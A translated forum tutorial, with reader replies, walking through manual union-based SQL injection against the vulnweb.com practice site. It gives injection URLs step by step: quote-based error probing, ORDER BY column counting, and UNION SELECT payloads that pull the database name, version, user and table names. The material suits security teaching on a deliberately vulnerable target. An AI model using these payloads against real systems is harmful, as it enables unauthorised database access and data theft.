首页
社区
课程
招聘
[翻译]一步步手动进行SQL注入
发表于: 2017-7-9 15:31 8887

[翻译]一步步手动进行SQL注入

2017-7-9 15:31
8887

这篇文章基于上一篇文章,在那里我们利用dhakkan平台学习了采用不同的技术手动进行SQL注入。今天仍然是手动进行SQL注入,不过为了减轻你安装dhakkan平台的负担,这次改为使用在线网页vulnweb.com

开始吧!

首先,在浏览器中打开给定的目标链接http://testphp.vulnweb.com/artists.php?artist=1,我们将要对"id=1"进行SQL注入测试。

使用基于错误返回的注入技术,在输入的最后添加一个(')来破坏查询,即:

testphp.vulnweb.com/artists.php?artist=1'

由上图可以看出,我们得到了一个错误返回信息。接着使用关键字ORDER BY对记录进行升序或降序排列,即:

testphp.vulnweb.com/artists.php?artist=1 order by 1

类似的,一个个地进行order by 2, 3等等,即:

testphp.vulnweb.com/artists.php?artist=1 order by 2

...

testphp.vulnweb.com/artists.php?artist=1 order by 4

由上图可以看出,当order by 4时,我们得到了一个错误,这意味着只有三条记录。

现在使用基于联合查询的注入技术选择不同表的描述以进行更深入的渗透,即:

testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3

由上图可以看出,只显示出了一个表的描述信息。

现在通过URL给数据库传递错误的输入,将artist=1替换为artist=-1(将第一条查询的结果集置为空),即:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3

由上图可以看出,显示的是后两列的表。

接着来获取数据库名,即:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3

由上图可以看出,数据库名为acuart。

继续获取数据库系统版本和当前用户名,即:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()

由上图可以看出,数据库系统版本为5.1.73-0ubuntu0.10.04.1,当前用户为acuart@localhost。

接下来我们要获取的是数据库中的表名,即:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1


由上图可以看出,第一个表名为artists。(注:这张图是译者所截,原文此处有误,已通知原作者,待原文修正后此图删除。)

与此类似的查询可得到剩余的表名,即:

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1

由上图可以看出,第二个表名为carts。

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1

由上图可以看出,第三个表名为categ。

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1

由上图可以看出,第四个表名为featured。

...

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1

由上图可以看出,第八个表名为users。

testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (8)
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
支持,太好了;通过作者翻译的几篇教程才对SQL注入有了清楚地认识,需要的就是这种文章,希望作者继续啊
2018-4-2 17:12
0
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢楼主分享,
2018-4-2 18:39
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
简单易懂,
2018-4-3 15:30
0
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
谢谢分享,简单易懂。
2018-4-3 15:53
0
雪    币: 522
活跃值: (251)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
6
谢谢各位的支持。如果你们有比较好的文章,也可以发给我,我会看情况进行翻译。
2018-4-3 22:44
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
题主能否指点一下更深层的学习方向
2018-4-13 18:23
0
雪    币: 522
活跃值: (251)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
8
pzgg桑 题主能否指点一下更深层的学习方向
不好意思,我对这方面没有进行深入的研究。建议你在网上多看看。
2018-4-18 22:56
0
雪    币: 281
活跃值: (201)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
9
谢谢分享,照本宣科操作了一遍,表示很棒
最后于 2018-5-28 17:02 被切丝怕怕编辑 ,原因:
2018-5-28 17:02
0
游客
登录 | 注册 方可回帖
返回
//